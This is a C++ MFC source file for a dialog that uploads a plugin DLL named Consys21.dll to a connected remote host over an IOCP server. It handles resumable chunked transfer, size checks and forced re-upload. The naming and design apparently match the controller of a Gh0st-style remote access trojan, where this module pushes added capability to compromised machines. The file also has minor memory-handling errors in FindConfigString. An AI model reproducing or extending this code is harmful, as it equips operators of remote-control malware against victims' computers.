360 lines
9.4 KiB
C++
360 lines
9.4 KiB
C++
// DllDlg.cpp : implementation file
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "DHL_yk.h"
|
||
#include "DllDlg.h"
|
||
#include "MainFrm.h"
|
||
#include "PcView.h"
|
||
#ifdef _DEBUG
|
||
#define new DEBUG_NEW
|
||
#undef THIS_FILE
|
||
static char THIS_FILE[] = __FILE__;
|
||
#endif
|
||
|
||
HINSTANCE hdll;
|
||
HANDLE hDllFile;
|
||
void* MemDll;
|
||
int SizeDll;
|
||
DWORD BytesRead;
|
||
|
||
__int64 Bf_nCounter = 0;// 备份计数器 由于比较用
|
||
LONG Bf_dwOffsetHigh = 0;
|
||
LONG Bf_dwOffsetLow = 0;
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
|
||
CString strFilePath = "Consys21.dll"; //功能插件文件名称
|
||
|
||
enum
|
||
{
|
||
COMMAND_FILE_DLLSIZE = 1, // DLL上传时的文件大小
|
||
COMMAND_FILE_DLLDATA, // DLL上传时的文件数据
|
||
COMMAND_FILE_DLLTODOWNLOAD, // 重新下载DLL数据
|
||
TOKEN_DLLDATA_CONTINUE, // DLL继续传输数据
|
||
TOKEN_DLLDATA_SIZE // 返回DLL控件文件大小
|
||
};
|
||
|
||
|
||
CDllDlg::CDllDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||
: CDialog(CDllDlg::IDD, pParent)
|
||
{
|
||
//{{AFX_DATA_INIT(CDllDlg)
|
||
// NOTE: the ClassWizard will add member initialization here
|
||
//}}AFX_DATA_INIT
|
||
m_iocpServer = pIOCPServer;
|
||
m_pContext = pContext;
|
||
ModifyStyleEx( WS_EX_APPWINDOW, 0 );
|
||
|
||
char strSelf[MAX_PATH];
|
||
//获取程序自身完整路径名称
|
||
GetModuleFileName(NULL, strSelf, sizeof(strSelf));
|
||
m_strOperatingPath = strSelf;
|
||
|
||
//连接插件途径
|
||
m_strOperatingPath.Format("%s\\Control\\", m_strOperatingPath.Mid(0,m_strOperatingPath.ReverseFind('\\')));
|
||
m_strOperatingFile = m_strOperatingPath + strFilePath;
|
||
}
|
||
|
||
|
||
void CDllDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
CDialog::DoDataExchange(pDX);
|
||
//{{AFX_DATA_MAP(CDllDlg)
|
||
// NOTE: the ClassWizard will add DDX and DDV calls here
|
||
DDX_Control(pDX, IDC_DLLDLG_PROGRESS, m_dlldlg_progress);
|
||
//}}AFX_DATA_MAP
|
||
}
|
||
void CDllDlg::OnReceiveComplete()
|
||
{
|
||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||
{
|
||
case TOKEN_DLLDATA_CONTINUE: //发送文件数据
|
||
SendFileData();
|
||
break;
|
||
case TOKEN_DLLDATA_SIZE: //重新发送文件数据
|
||
{
|
||
FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||
m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh);
|
||
DWORD DLLType = (m_pContext->m_DeCompressionBuffer.GetBuffer(1)[8]);
|
||
ShowProgress(); //进度显示
|
||
|
||
CString strdigs;
|
||
strdigs.Format("服务端已经存在功能插件,数据为 %dKB,\n请选择操作类型... ",(int)(m_nCounter / 1024));
|
||
SetDlgItemText(IDC_DLLINUSE_NEWS,strdigs); //
|
||
|
||
GetDlgItem(IDC_DLLDATA_CONT)->EnableWindow(TRUE);
|
||
GetDlgItem(IDC_DLLDATA_AGAIN)->EnableWindow(TRUE);
|
||
|
||
if(DLLType == COMMAND_DLL_CONTINUE) //控件续传
|
||
{
|
||
if(m_nOperatingFileLength == m_nCounter) //文件大小相等 退出
|
||
OnDllClose();
|
||
else
|
||
OnDllDataAgain(); //重新上传
|
||
}
|
||
else if(DLLType == COMMAND_DLL_UPGRADE) //控件升级
|
||
{
|
||
OnDllDataAgain();
|
||
}
|
||
break;
|
||
}
|
||
default:
|
||
// 传输发生异常数据
|
||
break;
|
||
}
|
||
}
|
||
|
||
BEGIN_MESSAGE_MAP(CDllDlg, CDialog)
|
||
//{{AFX_MSG_MAP(CDllDlg)
|
||
ON_WM_CLOSE()
|
||
ON_BN_CLICKED(IDC_DLLCLOSE, OnDllClose)
|
||
ON_BN_CLICKED(IDC_DLLDATA_AGAIN,OnDllDataAgain)
|
||
ON_BN_CLICKED(IDC_DLLDATA_CONT,OnDllDataCont)
|
||
//}}AFX_MSG_MAP
|
||
END_MESSAGE_MAP()
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CDllDlg message handlers
|
||
BOOL CDllDlg::OnInitDialog()
|
||
{
|
||
CDialog::OnInitDialog();
|
||
|
||
// TODO: Add extra initialization here
|
||
|
||
// HICON m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICOS1));
|
||
// SetIcon(m_hIcon, TRUE); // Set big icon
|
||
// SetIcon(m_hIcon, FALSE); // Set small icon
|
||
|
||
CString str;
|
||
sockaddr_in sockAddr;
|
||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||
int nSockAddrLen = sizeof(sockAddr);
|
||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||
str.Format("\\\\%s", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
|
||
SetWindowText(str);
|
||
m_dlldlg_progress.SetRange(0, 100);
|
||
m_dlldlg_progress.SetPos(0);
|
||
m_bIsStop=false;
|
||
|
||
SendUploadJob(strFilePath); //上传插件 发送文件长度
|
||
|
||
return TRUE; // return TRUE unless you set the focus to a control
|
||
// EXCEPTION: OCX Property Pages should return FALSE
|
||
}
|
||
|
||
void CDllDlg::OnClose()
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
|
||
m_pContext->m_Dialog[0] = 0;
|
||
closesocket(m_pContext->m_Socket);
|
||
CDialog::OnClose();
|
||
}
|
||
|
||
int my_memfind(const char *mem, const char *str, int sizem, int sizes)
|
||
{
|
||
int da,i,j;
|
||
if (sizes == 0) da = strlen(str);
|
||
else da = sizes;
|
||
for (i = 0; i < sizem; i++)
|
||
{
|
||
for (j = 0; j < da; j ++)
|
||
if (mem[i+j] != str[j]) break;
|
||
if (j == da) return i;
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
#define MAX_CONFIG_LEN 1024
|
||
LPCTSTR FindConfigString(char *strFileName, LPCTSTR lpString)
|
||
{
|
||
char *lpConfigString = NULL;
|
||
DWORD dwBytesRead = 0;
|
||
|
||
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||
if (hFile == INVALID_HANDLE_VALUE)
|
||
{
|
||
return NULL;
|
||
}
|
||
|
||
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
|
||
lpConfigString = new char[MAX_CONFIG_LEN];
|
||
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
|
||
CloseHandle(hFile);
|
||
|
||
int offset = my_memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
|
||
if (offset == -1)
|
||
{
|
||
delete lpConfigString;
|
||
return NULL;
|
||
}
|
||
else
|
||
{
|
||
return lpConfigString + offset;
|
||
}
|
||
}
|
||
|
||
void CDllDlg::OnShowWindow(BOOL bShow, UINT nStatus)
|
||
{
|
||
CDialog::OnShowWindow(bShow, nStatus);
|
||
}
|
||
|
||
void CDllDlg::SendFileData()
|
||
{
|
||
|
||
FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||
LONG dwOffsetHigh = pFileSize->dwSizeHigh ;
|
||
LONG dwOffsetLow = pFileSize->dwSizeLow;
|
||
|
||
m_nCounter = MAKEINT64(dwOffsetLow, dwOffsetHigh);
|
||
if(m_nCounter<0) //数据出错 返回上传传送数据
|
||
{
|
||
m_nCounter = Bf_nCounter;
|
||
dwOffsetHigh = Bf_dwOffsetHigh;
|
||
dwOffsetLow = Bf_dwOffsetLow;
|
||
}
|
||
else
|
||
{
|
||
Bf_nCounter = m_nCounter;
|
||
Bf_dwOffsetHigh = dwOffsetHigh;
|
||
Bf_dwOffsetLow = dwOffsetLow;
|
||
}
|
||
|
||
ShowProgress(); //进度显示
|
||
|
||
if (m_nCounter == m_nOperatingFileLength || dwOffsetLow == -1 || m_bIsStop)
|
||
{
|
||
EndLocalUploadFile(); //文件下载完成 关闭窗口
|
||
return;
|
||
}
|
||
|
||
HANDLE hFile;
|
||
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||
if (hFile == INVALID_HANDLE_VALUE)
|
||
{
|
||
return;
|
||
}
|
||
|
||
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
|
||
|
||
int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9
|
||
|
||
DWORD nNumberOfBytesToRead = MAX_RSEND_DATA - nHeadLength;
|
||
DWORD nNumberOfBytesRead = 0;
|
||
BYTE *lpBuffer = (BYTE *)LocalAlloc(LPTR, MAX_RSEND_DATA);
|
||
// Token, 大小,偏移,数据
|
||
lpBuffer[0] = COMMAND_FILE_DLLDATA;
|
||
memcpy(lpBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||
memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||
// 返回值
|
||
bool bRet = true;
|
||
ReadFile(hFile, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
|
||
CloseHandle(hFile);
|
||
|
||
|
||
if (nNumberOfBytesRead > 0)
|
||
{
|
||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize, NULL);
|
||
}
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
void CDllDlg::ShowProgress()
|
||
{
|
||
if ((int)m_nCounter == -1)
|
||
{
|
||
m_nCounter = m_nOperatingFileLength;
|
||
}
|
||
|
||
int progress = (int)((float)(m_nCounter * 100) / m_nOperatingFileLength);
|
||
m_dlldlg_progress.SetPos(progress);
|
||
|
||
CString strdig;
|
||
strdig.Format("%d%%",progress);
|
||
SetDlgItemText(IDC_DLLDLG_PROGREBT,strdig); //
|
||
|
||
strdig.Format("%dKB",(int)(m_nCounter / 1024));
|
||
SetDlgItemText(IDC_DLLDLG_REMOTE,strdig); //
|
||
}
|
||
|
||
//文件下载完成 关闭窗口
|
||
void CDllDlg::EndLocalUploadFile()
|
||
{
|
||
Sleep(500);
|
||
::SendMessage(m_hWnd,WM_CLOSE,0,0);
|
||
|
||
return;
|
||
}
|
||
|
||
//发送文件大小
|
||
BOOL CDllDlg::SendUploadJob(CString m_FilePats)
|
||
{
|
||
|
||
DWORD dwSizeHigh = NULL;
|
||
DWORD dwSizeLow = NULL;
|
||
// 1 字节token, 8字节大小, 文件名称, '\0'
|
||
HANDLE hFile;
|
||
|
||
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||
if (hFile == INVALID_HANDLE_VALUE)
|
||
{
|
||
char Path[MAX_PATH];
|
||
sprintf(Path, "本地控件 %s 未找到,无法上传插件!! ", m_FilePats);
|
||
MessageBox(Path,"提示!!", MB_OK | MB_ICONWARNING);
|
||
::SendMessage(m_hWnd,WM_CLOSE,0,0);
|
||
return FALSE;
|
||
}
|
||
|
||
unsigned long stspp = MAXDWORD;
|
||
dwSizeLow = GetFileSize (hFile, &dwSizeHigh);
|
||
m_nOperatingFileLength = (dwSizeHigh * (stspp+1)) + dwSizeLow;
|
||
CloseHandle(hFile);
|
||
|
||
CString strdig;
|
||
strdig.Format("%dKB",(int)(m_nOperatingFileLength / 1024));
|
||
SetDlgItemText(IDC_DLLDLG_LOCAL,strdig); //
|
||
|
||
// 构造数据包,发送文件长度
|
||
int nPacketSize = 9;//fileRemote.GetLength() + 10;
|
||
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
|
||
memset(bPacket, 0, nPacketSize);
|
||
|
||
bPacket[0] = COMMAND_FILE_DLLSIZE;
|
||
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
|
||
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
|
||
m_iocpServer->Send(m_pContext, bPacket, nPacketSize, NULL);
|
||
|
||
LocalFree(bPacket);
|
||
return TRUE;
|
||
}
|
||
|
||
void CDllDlg::OnDllClose()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
OnClose();
|
||
OnOK();
|
||
}
|
||
|
||
//数据重新上传
|
||
void CDllDlg::OnDllDataAgain()
|
||
{
|
||
CString strdigs = "服务端功能插件,重新上传中... ";
|
||
SetDlgItemText(IDC_DLLINUSE_NEWS,strdigs); //
|
||
GetDlgItem(IDC_DLLDATA_CONT)->EnableWindow(NULL);
|
||
GetDlgItem(IDC_DLLDATA_AGAIN)->EnableWindow(NULL);
|
||
|
||
BYTE lpBuffer = COMMAND_FILE_DLLTODOWNLOAD;
|
||
m_iocpServer->Send(m_pContext, &lpBuffer, 1, NULL);
|
||
}
|
||
|
||
//数据继续上传
|
||
void CDllDlg::OnDllDataCont()
|
||
{
|
||
CString strdigs = "服务端功能插件,继续上传中... ";
|
||
SetDlgItemText(IDC_DLLINUSE_NEWS,strdigs); //
|
||
GetDlgItem(IDC_DLLDATA_CONT)->EnableWindow(NULL);
|
||
GetDlgItem(IDC_DLLDATA_AGAIN)->EnableWindow(NULL);
|
||
|
||
SendFileData();
|
||
} |